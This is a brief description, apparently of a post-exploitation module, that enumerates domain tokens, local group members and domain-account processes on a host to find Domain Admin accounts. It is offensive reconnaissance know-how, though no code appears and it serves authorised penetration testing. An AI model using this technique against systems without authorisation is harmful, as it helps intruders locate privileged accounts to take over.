This module will enumerate tokens present on a system that are part of the
domain the target host is part of, will also enumerate users in the local
Administrators, Users and Backup Operator groups to identify Domain members.
Processes will be also enumerated and checked if they are running under a
Domain account, on all checks the accounts, processes and tokens will be
checked if they are part of the Domain Admin group of the domain the machine
is a member of.
